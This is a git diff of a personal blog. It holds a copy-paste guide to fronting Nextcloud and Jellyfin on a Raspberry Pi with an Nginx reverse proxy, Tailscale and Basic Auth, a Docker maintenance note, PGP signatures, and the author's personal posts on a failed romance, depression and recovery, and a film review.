docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
docker update --restart unless-stopped isso
```
**Start/stop the container**
```bash
docker start isso
docker stop isso
```
**Who/what stopped it (events)**
```bash
docker events --since 24h --filter container=isso
```
**Common config issue: duplicate options/sections**
If logs show DuplicateOptionError or DuplicateSectionError, fix `/config/isso.cfg` (remove duplicate `[server]` blocks or duplicate `public-endpoint`).
```bash
nl -ba /config/isso.cfg | sed -n '1,120p'
grep -n '^\[server\]' /config/isso.cfg
grep -n '^public-endpoint' /config/isso.cfg
```
**Using Docker Compose** *(run these in the directory with your compose file)*
```bash
docker compose ps
docker compose logs --tail=200 isso
docker compose up -d isso
```
**If the container doesnt exist (create/recreate)**
```bash
docker image ls | grep -i isso
docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest
```
**Optional: exclude from auto-updaters (like Watchtower)**
```bash
docker update --label-add com.centurylinklabs.watchtower.enable=false isso
```
_This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix._
---
{{< sigdl >}}

View file

@ -0,0 +1,418 @@
---
title: "Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin"
date: 2026-02-02
tags: ["homelab","nginx","docker","nextcloud","jellyfin","cloudflare","tailscale","security","raspberrypi"]
description: "Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable."
draft: false
---
> I didnt “move Nextcloud to the cloud”.
> I moved the **front door** to a VPS… and kept the house on my Raspberry Pi. 😄
This post documents the setup I ended up with:
- A public **VPS** (host: `funbox`) running **Nginx** + **Lets Encrypt**
- A private **Raspberry Pi** (host: `iot-hub`) running Docker services (**Nextcloud**, **Jellyfin**, …)
- A private backhaul using **Tailscale** (the `100.x.y.z` network)
- A correct Nextcloud reverse-proxy configuration (**trusted_domains**, **trusted_proxies**, and overwrite values)
- A pragmatic security layer for media: **Basic Auth at Nginx for Jellyfin**
(in addition to Jellyfins own login)
Im writing this as a “future me” note and a “copy-paste friendly” guide.
---
## 0) Topology
The request path looks like:
```
Browser
↓ HTTPS (public)
Cloudflare DNS (optional proxy on/off)
VPS (funbox) — Nginx reverse proxy + Let's Encrypt
↓ HTTP over Tailscale (private 100.x network)
Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
```
Why I like it:
- The Pi can sit behind home router / CGNAT and still be reachable.
- TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
- Internal IPs can change without breaking public URLs.
---
## 1) Whats running on the Pi?
On `iot-hub` the “interesting” containers are:
- `nextcloud` (Apache variant)
- `nextcloud-db` (Postgres)
- `nextcloud-redis`
- `jellyfin`
Example `docker ps` style output (yours may vary):
```
nextcloud nextcloud:apache 0.0.0.0:8080->80/tcp
jellyfin jellyfin/jellyfin 0.0.0.0:8096->8096/tcp
```
So on the Pi, the services listen on:
- `http://<pi>:8080` for Nextcloud
- `http://<pi>:8096` for Jellyfin
But in my setup, **the VPS does not reach those via LAN** — it reaches them via Tailscale IPs.
---
## 2) Tailscale: the private wire between VPS and Pi
Tailscale assigns each node an address like `100.xx.yy.zz`.
In my config, Nginx on `funbox` points to the Pi via Tailscale:
- Nextcloud upstream: `http://100.104.127.96:8080`
- Jellyfin upstream: `http://100.104.127.96:8096`
(Use the Tailscale IP of your Pi.)
Quick sanity checks from the VPS:
```bash
# from funbox, make sure you can reach the Pi service:
curl -I http://100.104.127.96:8080
curl -I http://100.104.127.96:8096
```
If those dont work: fix Tailscale connectivity first (ACLs, firewall, node online).
---
## 3) Nginx on the VPS: reverse proxy blocks
### 3.1 Nextcloud vhost (VPS → Pi via Tailscale)
Create (or edit):
`/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir`
and symlink into `sites-enabled`.
Here is a complete working example:
```nginx
# Redirect HTTP → HTTPS
server {
listen 80;
listen [::]:80;
server_name nextcloud.alipourimjourneys.ir;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name nextcloud.alipourimjourneys.ir;
# Certbot-managed certs
ssl_certificate /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
include /etc/letsencrypt/options-ssl-nginx.conf;
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
# Big uploads (tune to taste)
client_max_body_size 2G;
# CalDAV/CardDAV redirects
location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
location = /.well-known/caldav { return 301 https://$host/remote.php/dav/; }
location / {
proxy_pass http://100.104.127.96:8080;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Sometimes helps apps behind multiple proxies
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Port $server_port;
# Nextcloud + WebDAV can do long requests
proxy_read_timeout 3600;
proxy_send_timeout 3600;
# Usually good for DAV/uploads
proxy_buffering off;
proxy_request_buffering off;
}
}
```
Then test + reload:
```bash
sudo nginx -t
sudo systemctl reload nginx
```
### 3.2 Jellyfin vhost (with Basic Auth)
Create:
`/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir`
Example:
```nginx
server {
listen 80;
listen [::]:80;
server_name jellyfin.alipourimjourneys.ir;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name jellyfin.alipourimjourneys.ir;
ssl_certificate /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
include /etc/letsencrypt/options-ssl-nginx.conf;
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
client_max_body_size 512M;
# ✅ Basic Auth gate (extra layer before Jellyfin)
auth_basic "Jellyfin (private)";
auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
location / {
proxy_pass http://100.104.127.96:8096;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Jellyfin uses websockets
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_read_timeout 3600;
proxy_send_timeout 3600;
proxy_buffering off;
}
}
```
Enable:
```bash
sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
sudo nginx -t
sudo systemctl reload nginx
```
---
## 4) Creating the Basic Auth password file
Install tools (Debian/Ubuntu):
```bash
sudo apt-get update
sudo apt-get install -y apache2-utils
```
Create the password file:
```bash
sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
```
(If adding more users later, omit `-c`.)
Lock it down:
```bash
sudo chown root:root /etc/nginx/.htpasswd-jellyfin
sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
```
### Notes on clients
- Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
- Some TV apps can be quirky. If a client cant handle it, you can:
- remove Basic Auth, or
- keep it only on selected paths, or
- use Cloudflare Access in front of Jellyfin instead (more work).
---
## 5) Nextcloud: configure it to behave behind the reverse proxy
Nextcloud needs to know:
- what hostnames are valid,
- which proxy is trusted,
- and what the “outside” URL scheme is.
You can do it via `occ` inside the container (Apache image uses `www-data`).
### 5.1 trusted_domains
Check current values:
```bash
docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
```
Add your public domain:
```bash
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
```
(Keep your internal name too if you still use it, e.g. `rpi:8080`.)
### 5.2 trusted_proxies
Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.
Example:
```bash
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
```
(Use the **VPSs Tailscale IP** as seen from the Pi.)
### 5.3 overwritehost / overwriteprotocol / overwrite.cli.url
Tell Nextcloud “the world sees me as https://nextcloud.example”:
```bash
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
```
### 5.4 forwarded_for_headers (optional, but often helpful)
```bash
docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
```
Restart Nextcloud container after config:
```bash
docker restart nextcloud
```
---
## 6) Sanity checks (curl is your friend)
From anywhere public:
```bash
curl -I http://nextcloud.alipourimjourneys.ir
curl -I https://nextcloud.alipourimjourneys.ir
curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
```
Expected “good signs”:
- HTTP returns **301** to HTTPS
- HTTPS returns **302** to `/login` (or 200 if already authenticated)
- `/.well-known/caldav` returns **301** to `/remote.php/dav/`
If you see redirect loops or wrong hostnames:
- revisit `overwritehost`, `overwriteprotocol`, `trusted_proxies`.
---
## 7) “Do I really need Cloudflare Access / WARP?”
### The honest answer
If your setup is:
- HTTPS only
- strong passwords + MFA in Nextcloud/Jellyfin
- your origin isnt directly exposed (only the VPS is public)
- you keep things patched
…then youre already in a **reasonable** place.
### “Can I skip Cloudflare Access?”
Yes. In this topology, Cloudflare Access is optional. The main security boundary is:
- **Public:** VPS + Nginx
- **Private:** Pi over Tailscale
For Jellyfin, Basic Auth adds a cheap extra gate thats “family friendly”.
---
## 8) Cloudflare Access: One-time PIN not arriving + passkeys
Two common gotchas:
### 8.1 One-time PIN email didnt arrive
That flow relies on email delivery. Check:
- spam/junk folder
- if your provider blocked it
- the exact email allowlist in your policy
If its flaky, Id avoid One-time PIN and use a real identity provider.
### 8.2 Can I use passkeys / Apple / Google?
Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys.
Practical approach:
- pick what your family already uses (Google or Apple),
- configure that as the login method,
- avoid WARP enrollment unless you specifically want device-based access.
---
## 9) Hardening checklist (tiny but effective)
On the VPS:
- Keep Ubuntu security updates on
- firewall: allow only what you need (22/80/443)
- optional: `fail2ban` for SSH
On the Pi:
- keep Docker images updated
- Postgres/Redis not exposed publicly (Docker internal network)
- backups: Nextcloud data + DB
---
## 10) TL;DR
- VPS Nginx terminates TLS, proxies to Pi over Tailscale
- Nextcloud must be told about:
- `trusted_domains`
- `trusted_proxies`
- overwrite values (`overwritehost`, `overwriteprotocol`, `overwrite.cli.url`)
- `curl -I` should show sane redirects + `/remote.php/dav/`
- Jellyfin gets an extra gate with **Nginx Basic Auth**
Boring is good. Boring runs for months.
---
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAoYHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qBzcP/Ax3OsZE4mpGHNgry66tHo24
HRt1r0Ye6CWZ1O+/4s0n74+C3hf5z58jF/rVVljFsMs2fJDKbbt/wuAuH8QycZMc
LBQovv9UO2rrxO5T+FkPQAN5wwXO5NiKHKuamf8vswM927m1ogzhGxIIGTgqFvWt
zsFOtAKjt2eLrX0iH5HjHhAbfA8NLwL0IOuo8Uou3goGNLWmYg+YoLJUtCcjLzSv
/NrCeSSUcILL/VYroR+2PJk2O4e4temEtJ68aBAUPLLY43u8fiMcY5C7jpzTA2yU
9nxaDSWgMkTfH5zxPC3s4Wm/OvWLJz+HF+dWGtg5EeAbO3FjrJGDkx89jRjKJvE5
JDppSbaA4Au1+jWhycXRP0IRJF6LNPM0Rgy58iewg8SNbtwKNrfPO5BjNFkNOJk+
Uo73DL8CKbb7zryFrE0U/8MbAeil8EcwlGfAYf/Qi1pimrUfE6HAPDd4Rfp8NtrH
n4wWtbnkxRra++wLrhqsUtqbf3Y0R7MovPV3Z/lsumbhLl9OdAkjtQ5XRrCww8yf
UN1oYkbtmuVto/wHJjmWujFphFW5vWdjN/H3qX2qwPgp3zNACvjOl6TmX5QMvVEL
gDiRVyC6joFMZkZTqs+xPhf39Tp/AN1wxRxPPYP0fLs+csJdJS1iVRrCYZWgoYv2
pbOQX7L+nm92NpyDnYG5
=k5sD
-----END PGP SIGNATURE-----

View file

@ -0,0 +1,166 @@
+++
title = 'Relationships'
date = 2025-10-05T08:03:31Z
description= "My experience so far with relationships"
draft = false
+++
> Notice: You'll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.
So... do you also think you're a lover boy, kind, nice person?
So do I!
I think I'm actually really good at making friends with people.
Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.
My problem is when things are to become more serious!
Like, you know... connecting at a more emotional level.
A "relationship".
I'm really bad at those.
In fact, I haven't ever been in one!
Now let's be honest, I'm not your typical jacked, handsome boy, but I think I'm somewhere around the average if not higher a bit?
Well, at least I hope so! :D
I actually haven't even dated once so far.
My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like... yea dude... it was a date buddy.
Why do I say it wasn't a date?
Well, because I was told so yesterday by her.
That if it's a date, you're supposed to say it beforehand.
I find that very fair actually.
I really do.
I wasn't even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal.
Like we planned a future together.
We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
We even found our "favorite shops" in the city together!
It was weird! I'm so confused.
I remember the second time we went out together, we sat next to the river and close to eachother.
She leaned into me at some point.
She had also touched my arm gently when making a joke earlier when we went shopping together.
It felt weird.
I did feel she was flirting with me, making plans with me.
She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things.
We also had many deep conversations in this short amount of time.
But then it happened.
Suddenly she messaged me saying how she is going to have a bf soon "hopefully".
That others know him, but not me.
That where we live there are not that many people.
That supply is low, and demand is high.
That this person asked her fast so that "the slots won't be filled".
It was weird, as if she was telling me I'm going to be taken if you don't do anything...?
After this weird encounter I talked to two of my friends, and my married brother and his wife.
When she heard about our interactions and all of the messages we passed, she did feel like I've been friendzoning her.
That I'm not resiprocating her feelings.
That she perhaps has a crush on me.
Even my brother felt the same!
My friend was a bit more unsure though, but he also felt like it could really be that she is playing games.
With all honestly, in her messages when she was teaching me the "ways", she said "I don't play games and I also advise you not to get together with people that do so".
Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I'm doing is normal and things are going well.
But I guess I was wrong?
I do want to talk about some things that we exchanged on this weird conversation that made me confused.
She initially asked why I didn't go out with them last night.
I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together.
With all honestly I didn't even know she was joining them or not.
It's kinda weird, but the plans were made in a group she was not inside of.
Anyway.
October 4th was a rainy day.
She said she might be catching a cold, and that going out in this weather is maybe not a good choice.
She said let's go next weekend as the weather is better, and also that we can go out after work hours in weekdays.
You see? She proposed a different time and date, she didn't just cancel last second.
And then she started talking about last night, the things that happened.
A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn't know him.
Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her.
And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite.
Then she talked about how when two people see each other, a click can happen, and that's how you can know if you like someone or not. If it's two way ofc.
I asked her what is this "click"?
She said "you know when you know, and if you think you don't know then there isn't one".
Interesting.
My poor brain started looking back at our own interactions.
I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it...
And again I felt she is hinting something.
Poor me was stuck between a rock and a hard place.
She told me that if I like someone I should ask them on a date "early", as time is of essence.
Again, I was confused.
I was lost.
We've been hanging out for two weeks, we have our favorite similar shops, hobbies.
We have plans together.
We understood eachother.
Or maybe that's just how I felt in my mind?
Maybe things in my brain are just different?
I don't know.
My sister in law told me that she probably had a crush on me and that I didn't reciprocate her feelings perhaps?
That I'm friendzoning her by not touching her back or asking her out on a "date".
Her reasoning is that she initiated all of this.
She asked me to go to see the house she was considering renting, and then asked me to go out with her after that.
She told me that I should invite her to a date.
That I have to do something romantic now, maybe get flowers, and a gift.
And I did just that.
I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits.
And I asked her on a date.
She said she enjoyed the company too, and thanked me.
She then said she is starting a new relationship, but even if that was not the case, "we were so different from eachother at a much deeper level".
That her "life experiecnes" are just different, "and so on".
She did actually say "and so on".
You know what it reminds me of?
Of when your paper gets rejected by saying "lacks novelty". xD
Another extremely funny thing is that she said we're so different at a much deeper level, but she doesn't even know me.
What was meant at a deeper level?
I'm confused again.
She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing.
She knew nothing about me.
How are we different so deeply if you don't even know me? I'm so so incredibly confused.
I guess it could be the looks, and the "vibes"?
But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won't pursue her I guess?
Idk.
I want to also come back to this point she made that she is "starting a new relationship".
She told me in the same conversation that someone asked her out (which she technically didn't even say this, but it could be induced), and that going on a date "does not mean you're in a relationship, that you want to know eachother".
Her saying that "I said I'm starting a new relationship" hurt me, not because she is doing that, because she didn't technically tell me that.
She then said "I always tell people this to avoid confusion".
I definitly didn't miss it if she did. She didn't, but whatever. It's fine. I did apologize.
The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me...
Did I miss it?
She didn't. Just trust me on this one. ;)
I'm just confused.
The last three times I had a crush on someone I confessed too.
First case was in a relationship which became awkward as she told her bf and he bullied me (drat!).
Second case ended up in a tragedy that I do not want to talk about, lol!
All I can say is that she definitly panicked and I don't blame her.
I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable.
The third one said that she is in an "undefined state" of a relationship, and that she wants to keep it "friendly" in university, which is completely fair.
But this last one.
This was the weird one.
The first and third one were really sweet to me when I confessed/asked them out.
The last one didn't even show interest about being friends, which is again totally fine.
But I'm just so baffeled by all of this.
So... yea. This last "thing", whatever it was, was my closest encounter with a relationship, and maybe it will be for a while.
I do think I need to take a break from trying to get into a relationship.
I've been hurt a lot by the second one, and this was just confusing.
In her defence she was an amazing person.
Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life!
I can't just say the good stuff though. She was definitly a bit self-centered. It's funny how she told me that "people say I'm so proud in a negative way, but anyone who talks with me knows I'm not like that". Which is true, she wasn't proud, the correct term is self-centered, or "narcissistic" if you will, which I don't neceserrialy think is bad, but it is definitly an orange/yellow flag.
One thing I know is that I do wish her and whoever she dates the best! <3
And that I would be ok to stay friends with her, but since I'm hurt, I will be much colder.
Sorry. :)
And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to.
Fast progression ends like this?
But then maybe we never progressed?
I don't know.
Well. I don't know what's gonna happen next, but I'm going to just live my life and have fun.
Aaaaaaaand maybe not worry about being single?
Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won't be alone? Who knows? haha.
> P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I'm worth more than that. :) In my therapy session I remembered that in each of these so called "not dates" we had a conversation about "her", and she was dumping her emotional baggage on me, just like what happened this last time that confused me.
---
{{< sigdl >}}

17
content/posts/sadness.asc Normal file
View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA8YHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qTFQQAKC5Fhs5OqY4yToIiqesfR3e
3PXeequqBthz32/2qbwmAQJ1gX27lZ49eBdj1jLA4IAF3v+5oODIN5hgr5FKRVxH
s3MMCJ6a1dQhUSC+CIvOobWt3iACYo80b2RRq9xmzTKrStIfOEHq9KnY6lyneHmG
7eaG16Np9y/h61Hlc8ljjzOzPvoDeeZF+RLMlgZw5LE/xTvG2dokvIazsrCTV/+O
gBZei+1HTBjtLxbTibO5+IsbjNYBHhn/T343+gzGn7NISNSnYbgGoZHLEqVO6bBH
YwHETdabjtx9FoRhn3Mz3GZ1IeE8Q+0kwGvUFxL1onrz+/153yMk5BRCvQQELTZ7
pa9cJMarVtA2MllHZ+hz4yIlWRlLEVD+WtkjGjgms8BcWI7Kn/kl17hYjuU/IZ1k
hTNB4JlVZeBXj9TxFbIPJ1ouMXWWsaiHBmIeqL3jxscI75rNkn6ey5Gf+lk2FZ73
4QeJau64U0ccOJwalL3PjE9ZXkl40SuKC5xMquftb1QdVId7awMOVaoxGG2fdrZt
cRcnYl8JyPuQ7MO4BrLtYlhn1KEh7sl1IFYXI3DIdMlYNpPjaVUIwd2Q12AtQc3Q
BYLk0RtCeYUXEMdo9if//Y1oaayxJdbkTDSlxvynnCvYbkWxrMs9VmugHBDMiqub
UCxPCH0B2tgko6k/fFme
=E8zz
-----END PGP SIGNATURE-----

105
content/posts/sadness.md Normal file
View file

@ -0,0 +1,105 @@
+++
title = 'Sadness'
date = 2025-10-24T12:48:31Z
draft = false
+++
Honestly, I don't know why I'm doing any of this. I really don't.
I think for me this is a scape from reality.
A scape from the sad thing that happened earlier this month.
A scape from feeling used, or let's say abused if you will, and then thrown away.
Just like a piece of trash.
It's been hurting more and more.
I've been lying to myself that I don't care.
That I've moved on.
I've been seeking validation ever since.
The validation that was lacking during that encounter.
The feeling of not being good enough.
It's enough grieving though.
But is it?
I tell myself I have moved on.
I'm not chasing.
I'm really not.
I do know that this was indeed the best that could've happened for me.
I just dodged a bullet.
But still, there is a part of me that hurts, that grieves.
A part that doesn't want to move on.
I told myself that I will meet new people, and forget.
But then aren't I changing the problem?
The problem isn't what is on the surface.
It's something deeper.
The fact that I feel lonely, scared, anxious.
My anxious attachment, combined with overthinking, hurts me.
I have to analyse and see the worse in every encounter.
Like if I tell a group of friends that I won't go with them a few times, I will be removed from the group.
That if everyone is busy, they have planned something together and I'm not invited.
That if someone doesn't reply to me, they hate me.
Or that if someone passes me and doesn't look at me or say a word, they don't want to see me, or don't want me around them.
I don't know how to stop these.
I started to do more home office for this very reason, but I wasn't that productive.
I think my time, and life, is going to waste, and I don't know how to stop it.
It's getting annoying.
Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I'm far along I feel the extra stress I was neglecting.
Things just don't feel right.
I think I'm becoming depressed again.
Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely.
I know if I initiate, I get responses back.
Well, maybe not.
Maybe my expiration date has passed.
But then I would be chasing bread crumbs again.
Those crumbs won't let me find a true good quality loaf of bread!
They keep me distracted, and make me exhausted.
But they also mentally help me.
Maybe I should go for coffee at different times just not to meet this person.
I don't know.
I just know I'm hurting from within, and it's not nice.
It's like internal bleeding.
It's as painful as it gets.
It's as hurtful as it gets.
I know getting a pet could help me a lot at this point.
All of the things I want I can get from a pet.
Petting the pet, and caring for it are exactly what makes me feel good.
But then I don't want the responsibility.
Like with a human things feel less stressful, but with a pet it's scary.
I'm more of a father to the pet.
Uh...
I can't even have a pet because of my house rules.
I don't know what to do.
What I know is that I'm mentally hurting, and I don't know what to do.
I really don't.
I need help.
A lot of help.
A lot lot of help.
But I can't ask my friends.
I just can't.
They have their own problems.
They think I'm weak.
They will tell me to man up.
Or they just show empathy.
But I don't need empathy.
I need a solution.
I need to be told what to do.
I need help.
Help.
... --- ...
... --- ... ... --- ... ... --- ...
... --- ...
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA0YHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q1qsQALb6NsD1LOVKfLIDhB4enmc6
dUQAbtqV5FDRq9Kp20vNxbgbChyoluCNHSESsNUOsk9Un9+v3LJHfyaRxvg4pai7
DE7n99DgF4SQ1uS6ZaXxLvpOydQqwgDFR5/m/wAjo6NENW9OmzKWVS7+0h8puiXk
XX84bLwEqyxUePDBGrDyYWIZYMMDihquPDc5LVpotvhwLU3NA+RL+0ngH1rPTUYb
QgQ6tsB8/6XTyKcmK+ZrvHHIy8aai3W/q1iU2zOz0ueQdRxF/cnQN0/twajFxeyF
ba2I725WV87GjXtbInC6rVIhQEKdd1em6kUtnh5N7gFEID0uXuZgRCe72gZYU72O
VRI8wqmHjL+KqStkds0PAduejCg1KtNDcVz7JPewrTsDrmvvLzO5RPSajEuke/Pb
C7BYRH73X8P7M4FOVRXuig9Os6mrcPBqA3rI/H9bNnWjf2WdWEFOi13JiqTvjgj2
x9Ei87/Y8pfrdgC/4MmJ36lBpgEohwKvxii0s0PlBIWa4u/2KYAgS0Q+ngwkJ+H6
Nw2W/4soGkgOD9b/AkJaUGqN37QiDuvET1H1tb8o9EsmBvGge1RpEW0Ld4GNYf6w
Q2huQHJIZHxqsMmoQEh3y7xsHnJIfM2V3JBFk9YlFPKKEhiXCrjMvhV45Thx6MiX
uqPwlhZbctvKaWBzN4Y6
=WBNK
-----END PGP SIGNATURE-----

View file

@ -0,0 +1,94 @@
+++
title = 'Movie review: Scent of a Woman'
date = 2025-10-13T08:52:10Z
draft = false
description = "My reaction to the movie as a not so pro movie watcher"
+++
I'm not a big movie watcher.
In fact, I don't remember the last time I watched a whole movie in a single day.
It's not that I don't enjoy it, it's that I want to do this with at least another person.
It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched [Scent of a Woman](https://www.imdb.com/title/tt0105323) on Sunday, and after my therapist encouraged me to do so.
Few points before I begin.
- This was aside from the therapy session.
- My therapist does not tell me what to do, or if I'm wrong or right or anything like that.
- I watched this movie in about two parts in a single day!
- I knew Al Pacino's face from Godfather series, but didn't know his name.
- I'm not a big movie person, so whatever I say should be taken with a grain of salt. Just don't be offended, take it face up and as is.
The movie is about a good young student named Chris O'Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.
The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.
Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas.
He lives with his mother, and a not so nice step-father who isn't really there for him.
When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days.
At last Chris agrees.
Upon Karen's leaving, Frank gets ready for a trip to New York.
To do his last vows before taking his own life without Chris knowing this.
He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.
Frank is in love with Jack Daniel's and cannot get enough of it.
Throughout the movie this drunk, addiction-like behaviour is portrayed.
Frank also learns about a problem Chris is facing.
Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship.
He doesn't want to snitch, but frank learns about this, he encourages him to take the deal.
Frank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman.
There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend!
He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen.
The feelings I got were so strong and positive that I just cannot express!
In the end, when Frank wants to take his own life, Chris stops him and talks him out of it.
He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!).
A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket!
The officer didn't even recognize Frank was blind!!!!
After these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris's parent.
Chris ended up not snitching, and Frank spoke up for him, saying how big of a man is he!
How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father's back was.
In essense, the movie was amazing, with great acting all over it.
The characters portreayed their roles as amazingly as possible.
I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.
The story was also amazing.
Characters really added life to the scenes by their amazing play.
Donna did the tango dance professionaly.
Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.
That leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?
Was it about Frank?
That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible?
But Frank gave so much back to Chris.
I guess it is the same for me too, I'm also getting a lot back while making some sacrifices.
Or maybe was it about that amazing Tango dancing scene?
The sensations that Frank describes about relationships, and how he interacts with woman?
I honestly do not know.
I just know that watching the movie gave me good feelings.
That I'm a happier Iman than the Iman I was before watching it.
That my feelings and experiences are not abnormal, they are valid.
That I'm on the right track, but still need time to figure out the way.
That I shouldn't worry too much.
That I should look at everything as a way to have "fun".
That I shouldn't overthink things.
That if I mess up, oh well, I should take the responsibility and move on.
I don't know what the intention of my therapist was, but I'm so curious!
I want to figure it out. :)
Fell free to cross your fingers for me!
---
{{< sigdl >}}

View file

@ -0,0 +1,24 @@
+++
title = 'Seeing the "Light"'
date = 2025-12-25T11:26:04Z
draft = false
+++
I have a strong hunch that I made it. I beat my MDD. I'm finally happy! I'm happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.
Currently I'm sitting in Hamburg's CCH, being an Angel in disguise. ;D
I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.
